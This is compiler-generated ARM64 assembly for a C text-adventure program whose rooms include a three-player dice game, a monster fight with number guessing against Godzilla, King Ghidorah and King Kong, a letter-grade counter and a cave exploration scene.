.string "\nRound %d, Dice size is %d to %d"
.align 3
.LC409:
.string "\n\nYour Turn:"
.align 3
.LC410:
.string "Would you like to roll your three dice? (1: yes | 2: no) "
.align 3
.LC411:
.string "Average of your rolls: %.1lf\n"
.align 3
.LC412:
.string "Your current score: %.1lf"
.align 3
.LC413:
.string "\nYou lost. %.1lf is larger than %d..."
.align 3
.LC414:
.string "\n\nPlayer 2 Turn:"
.align 3
.LC415:
.string "Player 2 chose not to roll anymore."
.align 3
.LC416:
.string "Player 2 rolls average: %.1lf\n"
.align 3
.LC417:
.string "Player 2 score: %.1lf"
.align 3
.LC418:
.string "\nPlayer 2 is out. %.1lf is larger than %d..."
.align 3
.LC419:
.string "\n\nPlayer 3 Turn:"
.align 3
.LC420:
.string "Player 3 is choosing not to roll anymore."
.align 3
.LC421:
.string "Player 3 average rolls is %.1lf\n"
.align 3
.LC422:
.string "Player 3 score: %.1lf"
.align 3
.LC423:
.string "\nPlayer 3 is out. %.1lf is larger than %d..."
.align 3
.LC424:
.string "\n\nUser score: %.1lf\n"
.align 3
.LC425:
.string "Player 2 score: %.1lf\n"
.align 3
.LC426:
.string "Player 3 score: %.1lf\n"
.align 3
.LC428:
.string "\nEveryone lost..."
.align 3
.LC429:
.string "%s lost with everyone\n"
.align 3
.LC430:
.string "\nYou won!"
.align 3
.LC431:
.string "%s beat player 1 and 2\n"
.align 3
.LC432:
.string "\nPlayer 2 won!"
.align 3
.LC433:
.string "%s lost to player 2\n"
.align 3
.LC434:
.string "\nPlayer 3 won!"
.align 3
.LC435:
.string "%s lost to player 3\n"
.align 3
.LC436:
.string "\nGood game. Would you like to see the records of previous games? (1: yes | 2: no) "
.align 3
.LC437:
.string "\nRemember to enter 99 to exit!"
.align 3
.LC438:
.string "You are safe from the water, but strange random strings start to attack. What do you do?"
.align 3
.LC440:
.string "1. Smack the string in the leftmost bit"
.align 3
.LC441:
.string "2. Kick the string in the rightmost bit"
.align 3
.LC442:
.string "99. Exit Room"
.align 3
.LC443:
.string "String %s approaches you and you smack it!\n"
.align 3
.LC444:
.string "The string is confused and altered to %s \n"
.align 3
.LC445:
.string "You can't do that."
.align 3
.LC446:
.string "You have selected an incorrect choice Please choose again.\n"
.align 3
.LC447:
.string "You have selected to fight Godzilla.\n"
.align 3
.LC448:
.string "Godzilla's signature weapon is his distinctive atomic breath. Godzilla's dorsal spines glow ominously, and then he lets loose with a concentrated blast of radiation from his mouth\n"
.align 3
.LC449:
.string "In addition to his deadly atomic breath, Godzilla can also emit atomic energy in all directions from every inch of his body in a short-range pulse called the nuclear pulse\n"
.align 3
.LC450:
.string "Godzilla displays an uncanny ability to resist injury. Not even the pressure and cold of deep sea trenches can kill him.\n"
.align 3
.LC451:
.string "Godzilla is vulnerable to electricity\n"
.align 3
.LC452:
.string "Godzilla"
.align 3
.LC453:
.string "You have selected to fight King Ghidorah\n"
.align 3
.LC454:
.string "When Ghidorah becomes the alpha, he lets out an extremely loud and powerful call that could be heard by the other Titans all around the world\n"
.align 3
.LC455:
.string "Ghidorah has an electro-receptor molecular biology, and his skin is covered with traces of gold that acts as a conductor that carries bioelectrical currents throughout his body.\n"
.align 3
.LC456:
.string "Ghidorah can drain energy and electricity directly into himself by biting down on power sources.\n"
.align 3
.LC457:
.string "King Ghidorah"
.align 3
.LC458:
.string "You have selected to fight King Kong\n"
.align 3
.LC459:
.string "Kong is also remarkably intelligent. He makes use of environmental objects like trees or rocks when fighting, and even when overwhelmed by more powerful or more numerous opponents he can think on his feet and find a way to win.\n"
.align 3
.LC460:
.string "Kong also demonstrates durability when he is able to continue fighting against airplanes and even destroy some of them after being riddled with bullets.\n"
.align 3
.LC461:
.string "King Kong"
.align 3
.LC462:
.string "Good Luck Hero. The fate of earth depends on you.\n"
.align 3
.LC463:
.string "For hitting the target you have to guess a number between 1 and 30 inclusive\n"
.align 3
.LC464:
.string "You will have 10 chances to guess it\n"
.align 3
.LC465:
.string "Sorry :( You guess is incorrect. But don't worry as you have a second round too.\n"
.align 3
.LC466:
.string "Congrats :) You guess is correct, now you need to win the second round as well.\n"
.align 3
.LC467:
.string "Now the plasma beam is fully charged up. Type fire\n"
.align 3
.LC468:
.string "Type fire to fire the plasma beam\n"
.align 3
.LC469:
.string "fire"
.align 3
.LC470:
.string "%s has suffered a fatal blow from plasma beam\n"
.align 3
.LC471:
.string "A list of numbers would be displayed on the screen and you have to write the average of all numbers.\n"
.align 3
.LC472:
.string "Congrats you were able to fire two plasma beams on %s\n"
.align 3
.LC473:
.string "%s is now down and you have earned the respect of rest of two monsters\n"
.align 3
.LC474:
.string "You were able to fire only one plasma beams on %s\n"
.align 3
.LC475:
.string "Its a draw and you haven't earned any respect from the monsters"
.align 3
.LC476:
.string "You weren't able to fire any plasma beams on %s\n"
.align 3
.LC477:
.string "You have run away and monsters have emerged victorious"
.align 3
.LC478:
.string "Enter 99 to exit this room or enter any other number to repeat this room\n"
.align 3
.LC479:
.string "Incorrect letter grade entered."
.align 3
.LC480:
.string "Enter a new grade."
.align 3
.LC481:
.string "Enter a letter grade (press q to quit): "
.align 3
.LC482:
.string "\nThere are "
.align 3
.LC483:
.string "%u"
.align 3
.LC484:
.string " A's, %u"
.align 3
.LC485:
.string " B's, %u"
.align 3
.LC486:
.string " C's"
.align 3
.LC487:
.string "\nThe class average is %.1f\n"
.align 3
.LC488:
.string "You open the door and close it behind you."
.align 3
.LC489:
.string "After you overcome the panic from almost drowning, you look around and You find yourself in a cave, the air is damp and you smell mold."
.align 3
.LC490:
.string "You notice a skeleton at your feet with it's right hand clenched around something. The cave ahead leads to a tunnel and you see a door to your right."
.align 3
.LC491:
.string "At this point you have 3 choices:"
.align 3
.LC492:
.string "1. Examine the skeleton."
.align 3
.LC493:
.string "2. Proceed further ahead in the cave."
.align 3
.LC494:
.string "3. Enter the door to your right."
.align 3
.LC495:
.ascii "You reach down and pry open the skeleton's hand, a finger br"
.ascii "eaks loose and you plac"
.string "e it in your pocket. Once you pry the opject free you look at it closely in the light and see it is a live grenade and the pin springs free. You drop the grenade and dash through the cave. You can hear the grenade explode, collapsing the tunnel behind you."
.align 3
.LC496:
.string "You find yourself further ahead in the cave."
.align 3
.LC497:
.string "To be continued...."
.align 3
.LC498:
.string "You enter the and close the door behind you."
.align 3
.LC499:
.string "You hear an loud voice \" %s why do you disturb me? \" \n"
.align 3
.LC500:
.string "wrong choice"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
mov x12, 4528
sub sp, sp, x12
.cfi_def_cfa_offset 4528
stp x29, x30, [sp]
.cfi_offset 29, -4528
.cfi_offset 30, -4520
mov x29, sp
str x19, [sp, 16]
str d8, [sp, 24]
.cfi_offset 19, -4512
.cfi_offset 72, -4504
str w0, [sp, 44]
str x1, [sp, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 4520]
mov x1, 0
str wzr, [sp, 60]
str wzr, [sp, 164]
str wzr, [sp, 168]
mov x0, 0
bl time
bl srand
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
add x0, sp, 3008
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
add x0, sp, 3008
mov x1, x0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
b .L2
.L345:
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl puts
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
sub w0, w0, #1
cmp w0, 39
bhi .L2
adrp x1, .L4
add x1, x1, :lo12:.L4
ldr w0, [x1,w0,uxtw #2]
adr x1, .Lrtx4
add x0, x1, w0, sxtw #2
br x0
.Lrtx4:
.section .rodata
.align 0
.align 2
.L4:
.word (.L43 - .Lrtx4) / 4
.word (.L56 - .Lrtx4) / 4
.word (.L62 - .Lrtx4) / 4
.word (.L84 - .Lrtx4) / 4
.word (.L86 - .Lrtx4) / 4
.word (.L90 - .Lrtx4) / 4
.word (.L94 - .Lrtx4) / 4
.word (.L36 - .Lrtx4) / 4
.word (.L115 - .Lrtx4) / 4
.word (.L121 - .Lrtx4) / 4
.word (.L127 - .Lrtx4) / 4
.word (.L382 - .Lrtx4) / 4
.word (.L134 - .Lrtx4) / 4
.word (.L370 - .Lrtx4) / 4
.word (.L141 - .Lrtx4) / 4
.word (.L147 - .Lrtx4) / 4
.word (.L153 - .Lrtx4) / 4
.word (.L155 - .Lrtx4) / 4
.word (.L157 - .Lrtx4) / 4
.word (.L162 - .Lrtx4) / 4
.word (.L173 - .Lrtx4) / 4
.word (.L183 - .Lrtx4) / 4
.word (.L371 - .Lrtx4) / 4
.word (.L191 - .Lrtx4) / 4
.word (.L198 - .Lrtx4) / 4
.word (.L202 - .Lrtx4) / 4
.word (.L210 - .Lrtx4) / 4
.word (.L219 - .Lrtx4) / 4
.word (.L372 - .Lrtx4) / 4
.word (.L238 - .Lrtx4) / 4
.word (.L242 - .Lrtx4) / 4
.word (.L285 - .Lrtx4) / 4
.word (.L294 - .Lrtx4) / 4
.word (.L296 - .Lrtx4) / 4
.word (.L298 - .Lrtx4) / 4
.word (.L300 - .Lrtx4) / 4
.word (.L302 - .Lrtx4) / 4
.word (.L329 - .Lrtx4) / 4
.word (.L337 - .Lrtx4) / 4
.word (.L339 - .Lrtx4) / 4
.text
.L43:
str wzr, [sp, 84]
b .L44
.L55:
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl puts
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl puts
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl puts
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl puts
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl puts
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl puts
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl puts
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L45
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl puts
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 3
beq .L46
cmp w0, 3
bgt .L373
cmp w0, 1
beq .L48
cmp w0, 2
beq .L49
b .L373
.L48:
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
b .L47
.L49:
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
ldr w0, [sp, 84]
sub w0, w0, #1
str w0, [sp, 84]
b .L47
.L46:
bl rand
cmp w0, 0
and w0, w0, 1
csneg w0, w0, w0, ge
add w0, w0, 1
str w0, [sp, 60]
ldr w0, [sp, 60]
cmp w0, 1
bne .L50
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
b .L47
.L50:
ldr w0, [sp, 60]
cmp w0, 2
bne .L374
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl puts
ldr w0, [sp, 84]
sub w0, w0, #1
str w0, [sp, 84]
b .L47
.L374:
nop
.L47:
b .L373
.L45:
ldr w0, [sp, 60]
cmp w0, 2
bne .L53
adrp x0, .LC23
add x0, x0, :lo12:.LC23
bl puts
adrp x0, .LC24
add x0, x0, :lo12:.LC24
bl puts
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
b .L52
.L53:
ldr w0, [sp, 60]
cmp w0, 3
bne .L54
adrp x0, .LC25
add x0, x0, :lo12:.LC25
bl puts
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
b .L52
.L54:
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl puts
.L44:
ldr w0, [sp, 60]
cmp w0, 99
bne .L55
b .L52
.L373:
nop
.L52:
ldr w1, [sp, 84]
adrp x0, .LC27
add x0, x0, :lo12:.LC27
bl printf
b .L2
.L61:
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl puts
adrp x0, .LC29
add x0, x0, :lo12:.LC29
bl puts
adrp x0, .LC30
add x0, x0, :lo12:.LC30
bl puts
adrp x0, .LC31
add x0, x0, :lo12:.LC31
bl puts
adrp x0, .LC32
add x0, x0, :lo12:.LC32
bl puts
adrp x0, .LC33
add x0, x0, :lo12:.LC33
bl puts
adrp x0, .LC34
add x0, x0, :lo12:.LC34
bl puts
adrp x0, .LC35
add x0, x0, :lo12:.LC35
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L57
adrp x0, .LC36
add x0, x0, :lo12:.LC36
bl puts
add x0, sp, 3008
mov x1, x0
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl printf
adrp x0, .LC38
add x0, x0, :lo12:.LC38
bl puts
bl flurbos
mov w0, 0
b .L346
.L57:
ldr w0, [sp, 60]
cmp w0, 2
bne .L59
add x0, sp, 3008
mov x1, x0
adrp x0, .LC39
add x0, x0, :lo12:.LC39
bl printf
bl stars
adrp x0, .LC40
add x0, x0, :lo12:.LC40
bl puts
bl planets
.L59:
ldr w0, [sp, 60]
cmp w0, 3
bne .L60
adrp x0, .LC41
add x0, x0, :lo12:.LC41
bl puts
bl goodBye
mov w0, 0
b .L346
.L60:
adrp x0, .LC42
add x0, x0, :lo12:.LC42
bl puts
.L56:
ldr w0, [sp, 60]
cmp w0, 99
bne .L61
b .L2
.L83:
adrp x0, .LC43
add x0, x0, :lo12:.LC43
bl puts
adrp x0, .LC44
add x0, x0, :lo12:.LC44
bl puts
adrp x0, .LC45
add x0, x0, :lo12:.LC45
bl puts
adrp x0, .LC46
add x0, x0, :lo12:.LC46
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L63
str wzr, [sp, 960]
str wzr, [sp, 88]
str wzr, [sp, 280]
str xzr, [sp, 416]
ldr d0, [sp, 416]
adrp x0, .LC47
add x0, x0, :lo12:.LC47
bl printf
adrp x0, .LC48
add x0, x0, :lo12:.LC48
bl puts
adrp x0, .LC49
add x0, x0, :lo12:.LC49
bl puts
adrp x0, .LC50
add x0, x0, :lo12:.LC50
bl puts
adrp x0, .LC51
add x0, x0, :lo12:.LC51
bl puts
add x0, sp, 56
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 56]
cmp w0, 1
bne .L64
str wzr, [sp, 80]
b .L65
.L66:
add x0, sp, 960
bl RollArray
str w0, [sp, 284]
ldr w1, [sp, 88]
ldr w0, [sp, 284]
add w0, w1, w0
str w0, [sp, 88]
add x0, sp, 960
bl Prt
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L65:
ldr w0, [sp, 80]
cmp w0, 5
ble .L66
ldr s0, [sp, 88]
scvtf s1, s0
fmov s0, 6.0e+0
fdiv s0, s1, s0
fcvt d0, s0
str d0, [sp, 416]
ldr d0, [sp, 416]
adrp x0, .LC52
add x0, x0, :lo12:.LC52
bl printf
ldr d1, [sp, 416]
fmov d0, 3.0e+0
fcmpe d1, d0
bmi .L348
b .L366
.L348:
adrp x0, .LC53
add x0, x0, :lo12:.LC53
bl puts
mov w0, 99
str w0, [sp, 60]
b .L69
.L366:
ldr d1, [sp, 416]
fmov d0, 4.0e+0
fcmpe d1, d0
bmi .L349
b .L367
.L349:
adrp x0, .LC54
add x0, x0, :lo12:.LC54
bl puts
add x0, sp, 3008
bl nV
b .L69
.L367:
ldr d1, [sp, 416]
fmov d0, 5.0e+0
fcmpe d1, d0
bmi .L350
b .L368
.L350:
adrp x0, .LC55
add x0, x0, :lo12:.LC55
bl puts
b .L69
.L368:
ldr d1, [sp, 416]
fmov d0, 6.0e+0
fcmpe d1, d0
bmi .L351
b .L69
.L351:
adrp x0, .LC56
add x0, x0, :lo12:.LC56
bl puts
b .L2
.L64:
adrp x0, .LC57
add x0, x0, :lo12:.LC57
bl puts
.L69:
adrp x0, .LC58
add x0, x0, :lo12:.LC58
bl puts
adrp x0, .LC59
add x0, x0, :lo12:.LC59
bl puts
.L63:
ldr w0, [sp, 60]
cmp w0, 2
bne .L76
adrp x0, .LC60
add x1, x0, :lo12:.LC60
adrp x0, .LC61
add x0, x0, :lo12:.LC61
bl fopen
str x0, [sp, 424]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC63
add x0, x0, :lo12:.LC63
bl fopen
str x0, [sp, 432]
adrp x0, .LC64
add x0, x0, :lo12:.LC64
bl puts
b .L77
.L78:
ldr x0, [sp, 432]
cmp x0, 0
beq .L77
add x0, sp, 3520
mov x2, x0
adrp x0, .LC3
add x1, x0, :lo12:.LC3
ldr x0, [sp, 432]
bl __isoc99_fscanf
add x0, sp, 3520
mov x1, x0
adrp x0, .LC65
add x0, x0, :lo12:.LC65
bl printf
add x0, sp, 3520
mov x2, x0
adrp x0, .LC65
add x1, x0, :lo12:.LC65
ldr x0, [sp, 424]
bl fprintf
.L77:
ldr x0, [sp, 432]
bl feof
cmp w0, 0
beq .L78
ldr x0, [sp, 424]
bl fclose
ldr x0, [sp, 432]
bl fclose
adrp x0, .LC58
add x0, x0, :lo12:.LC58
bl puts
adrp x0, .LC59
add x0, x0, :lo12:.LC59
bl puts
.L76:
ldr w0, [sp, 60]
cmp w0, 3
bne .L62
str wzr, [sp, 80]
b .L79
.L80:
ldrsw x0, [sp, 80]
lsl x0, x0, 2
add x1, sp, 960
str wzr, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L79:
ldr w0, [sp, 80]
cmp w0, 2
ble .L80
adrp x0, .LC66
add x0, x0, :lo12:.LC66
bl puts
adrp x0, .LC67
add x0, x0, :lo12:.LC67
bl puts
adrp x0, .LC51
add x0, x0, :lo12:.LC51
bl puts
add x0, sp, 56
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 56]
cmp w0, 1
bne .L81
adrp x0, .LC68
add x0, x0, :lo12:.LC68
bl puts
bl BBGprnt
add x0, sp, 960
bl TossBag
add x0, sp, 960
bl BagTossed
adrp x0, .LC69
add x0, x0, :lo12:.LC69
bl puts
adrp x0, .LC70
add x0, x0, :lo12:.LC70
bl puts
b .L82
.L81:
adrp x0, .LC57
add x0, x0, :lo12:.LC57
bl puts
.L82:
adrp x0, .LC58
add x0, x0, :lo12:.LC58
bl puts
adrp x0, .LC59
add x0, x0, :lo12:.LC59
bl puts
.L62:
ldr w0, [sp, 60]
cmp w0, 99
bne .L83
b .L2
.L85:
adrp x0, .LC71
add x0, x0, :lo12:.LC71
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L84:
ldr w0, [sp, 60]
cmp w0, 99
bne .L85
b .L2
.L89:
adrp x0, .LC72
add x0, x0, :lo12:.LC72
bl puts
adrp x0, .LC73
add x0, x0, :lo12:.LC73
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
beq .L87
cmp w0, 2
beq .L88
b .L86
.L87:
adrp x0, .LC74
add x0, x0, :lo12:.LC74
bl puts
b .L86
.L88:
adrp x0, .LC75
add x0, x0, :lo12:.LC75
bl puts
nop
.L86:
ldr w0, [sp, 60]
cmp w0, 99
bne .L89
b .L2
.L93:
ldr x0, [sp, 32]
add x0, x0, 16
ldr x2, [x0]
adrp x0, .LC60
add x1, x0, :lo12:.LC60
mov x0, x2
bl fopen
str x0, [sp, 392]
str wzr, [sp, 72]
str wzr, [sp, 76]
add x0, sp, 72
str x0, [sp, 400]
add x0, sp, 76
str x0, [sp, 408]
adrp x0, .LC76
add x1, x0, :lo12:.LC76
add x0, sp, 3520
ldr q0, [x1]
str q0, [x0]
ldr q0, [x1, 11]
str q0, [x0, 11]
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 960
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
adrp x0, .LC77
add x1, x0, :lo12:.LC77
add x0, sp, 3264
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 8]
str w1, [x0, 8]
adrp x0, .LC78
add x0, x0, :lo12:.LC78
bl puts
adrp x0, .LC79
add x0, x0, :lo12:.LC79
bl puts
add x0, sp, 960
bl printMessage
add x1, sp, 960
add x0, sp, 3520
ldr x3, [sp, 408]
ldr x2, [sp, 400]
bl decodeMessage
ldr w0, [sp, 72]
ldr w1, [sp, 76]
add x2, sp, 3264
mov x4, x2
mov w3, w1
mov w2, w0
adrp x0, .LC80
add x1, x0, :lo12:.LC80
ldr x0, [sp, 392]
bl fprintf
bl rand
mov w2, w0
mov w0, 21846
movk w0, 0x5555, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 56]
ldr w0, [sp, 56]
bl userFate
str wzr, [sp, 80]
b .L91
.L92:
ldrsw x0, [sp, 80]
add x1, sp, 3008
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 80]
add x1, sp, 3008
strb w2, [x1, x0]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L91:
ldrsw x0, [sp, 80]
add x1, sp, 3008
ldrb w0, [x1, x0]
cmp w0, 0
bne .L92
add x0, sp, 3008
mov x1, x0
adrp x0, .LC81
add x0, x0, :lo12:.LC81
bl printf
ldr x0, [sp, 392]
bl fclose
adrp x0, .LC82
add x0, x0, :lo12:.LC82
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L90:
ldr w0, [sp, 60]
cmp w0, 99
bne .L93
b .L2
.L107:
str wzr, [sp, 92]
bl rand
mov w1, w0
mov w0, 36409
movk w0, 0x38e3, lsl 16
smull x0, w1, w0
lsr x0, x0, 32
asr w2, w0, 1
asr w0, w1, 31
sub w2, w2, w0
mov w0, w2
lsl w0, w0, 3
add w0, w0, w2
sub w0, w1, w0
str w0, [sp, 272]
adrp x0, .LC83
add x0, x0, :lo12:.LC83
bl puts
adrp x0, .LC84
add x0, x0, :lo12:.LC84
bl puts
adrp x0, .LC85
add x0, x0, :lo12:.LC85
bl puts
adrp x0, .LC86
add x0, x0, :lo12:.LC86
bl puts
adrp x0, .LC87
add x0, x0, :lo12:.LC87
bl puts
adrp x0, .LC86
add x0, x0, :lo12:.LC86
bl puts
adrp x0, .LC88
add x0, x0, :lo12:.LC88
bl puts
adrp x0, .LC89
add x0, x0, :lo12:.LC89
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 3
beq .L95
cmp w0, 3
bgt .L94
cmp w0, 1
beq .L97
cmp w0, 2
beq .L98
b .L94
.L97:
adrp x0, .LC90
add x0, x0, :lo12:.LC90
bl puts
adrp x0, .LC91
add x0, x0, :lo12:.LC91
bl puts
adrp x0, .LC92
add x0, x0, :lo12:.LC92
bl puts
adrp x0, .LC93
add x0, x0, :lo12:.LC93
bl puts
adrp x0, .LC94
add x0, x0, :lo12:.LC94
bl puts
adrp x0, .LC95
add x0, x0, :lo12:.LC95
bl puts
str wzr, [sp, 80]
b .L99
.L100:
ldr w0, [sp, 80]
add w0, w0, 1
mov w1, w0
adrp x0, .LC96
add x0, x0, :lo12:.LC96
bl printf
add x1, sp, 960
ldrsw x0, [sp, 80]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC97
add x0, x0, :lo12:.LC97
bl __isoc99_scanf
ldrsw x0, [sp, 80]
lsl x0, x0, 2
add x1, sp, 960
ldr s0, [x1, x0]
ldr s1, [sp, 92]
fadd s0, s1, s0
str s0, [sp, 92]
ldr w0, [sp, 80]
add w0, w0, 1
str w0, [sp, 80]
.L99:
ldr w0, [sp, 80]
cmp w0, 4
ble .L100
fmov s0, 5.0e+0
ldr s1, [sp, 92]
fdiv s0, s1, s0
str s0, [sp, 276]
ldr s0, [sp, 276]
fcvt d0, s0
adrp x0, .LC98
add x0, x0, :lo12:.LC98
bl printf
ldr s1, [sp, 276]
fmov s0, 1.0e+1
fcmpe s1, s0
bmi .L352
b .L369
.L352:
adrp x0, .LC99
add x0, x0, :lo12:.LC99
bl puts
adrp x0, .LC100
add x0, x0, :lo12:.LC100
bl puts
b .L94
.L369:
ldr s1, [sp, 276]
fmov s0, 1.0e+1
fcmpe s1, s0
bgt .L353
b .L98
.L353:
adrp x0, .LC101
add x0, x0, :lo12:.LC101
bl puts
adrp x0, .LC102
add x0, x0, :lo12:.LC102
bl puts
b .L94
.L98:
adrp x0, .LC103
add x0, x0, :lo12:.LC103
bl puts
adrp x0, .LC104
add x0, x0, :lo12:.LC104
bl puts
adrp x0, .LC105
add x0, x0, :lo12:.LC105
bl puts
adrp x0, .LC106
add x0, x0, :lo12:.LC106
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
cmp w0, 1
bne .L104
adrp x0, .LC107
add x0, x0, :lo12:.LC107
bl puts
adrp x0, .LC108
add x0, x0, :lo12:.LC108
bl printf
ldr w1, [sp, 272]
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl printf
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 60]
ldr w1, [sp, 272]
cmp w1, w0
bne .L105
adrp x0, .LC109
add x0, x0, :lo12:.LC109
bl puts
b .L94
.L105:
adrp x0, .LC110
add x0, x0, :lo12:.LC110
bl puts
adrp x0, .LC111
add x0, x0, :lo12:.LC111
bl puts
b .L94
.L104:
ldr w0, [sp, 60]
cmp w0, 2
bne .L95
adrp x0, .LC112
add x0, x0, :lo12:.LC112
bl puts
.L95:
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC113
add x0, x0, :lo12:.LC113
bl fopen
str x0, [sp, 384]
ldr x0, [sp, 384]
cmp x0, 0
bne .L106
adrp x0, .LC114
add x0, x0, :lo12:.LC114
bl printf
b .L94
.L106:
ldr w0, [sp, 60]
cmp w0, 3
beq .L94
adrp x0, .LC115
add x0, x0, :lo12:.LC115
bl puts
add x0, sp, 60
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
.L94:
ldr w0, [sp, 60]
cmp w0, 99
bne .L107
b .L2
.L36:
adrp x0, .LC116
add x0, x0, :lo12:.LC116
ldr w0, [x0]
str w0, [sp, 3520]
strb wzr, [sp, 3524]
mov w0, 28526
str w0, [sp, 3264]
mov w0, 1
str w0, [sp, 268]
strb wzr, [sp, 54]
strb wzr, [sp, 55]
b .L108
.L114:
adrp x0, .LC117
add x0, x0, :lo12:.LC117
bl puts
adrp x0, .LC118
add x0, x0, :lo12:.LC118
bl puts
adrp x0, .LC119
add x0, x0, :lo12:.LC119
bl puts
adrp x0, .LC120
add x0, x0, :lo12:.LC120
bl puts
adrp x0, .LC121
add x0, x0, :lo12:.LC121
bl puts
adrp x0, .LC122
add x0, x0, :lo12:.LC122
bl puts
ldr x0, [sp, 960]
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
ldr x0, [sp, 960]
add x1, sp, 3520
bl strstr
cmp x0, 0
beq .L109
adrp x0, .LC123
add x0, x0, :lo12:.LC123
bl puts
adrp x0, .LC124
add x0, x0, :lo12:.LC124
bl puts
bl mQcontinue
b .L110
.L109:
ldr x0, [sp, 960]
add x1, sp, 3264
bl strstr
cmp x0, 0
beq .L110
adrp x0, .LC125
add x0, x0, :lo12:.LC125
bl puts
adrp x0, .LC126
add x0, x0, :lo12:.LC126
bl puts
add x0, sp, 3008
mov x1, x0
adrp x0, .LC127
add x0, x0, :lo12:.LC127
bl printf
adrp x0, .LC128
add x0, x0, :lo12:.LC128
bl puts
adrp x0, .LC129
add x0, x0, :lo12:.LC129
bl puts
adrp x0, .LC130
add x0, x0, :lo12:.LC130
bl puts
bl mQcontinue
.L110:
ldr w0, [sp, 268]
cmp w0, 1
bne .L108
bl mQhelpPrompt
bl mQhelpMenu
bl mQcontinue
ldrb w0, [sp, 54]
eor w0, w0, 1
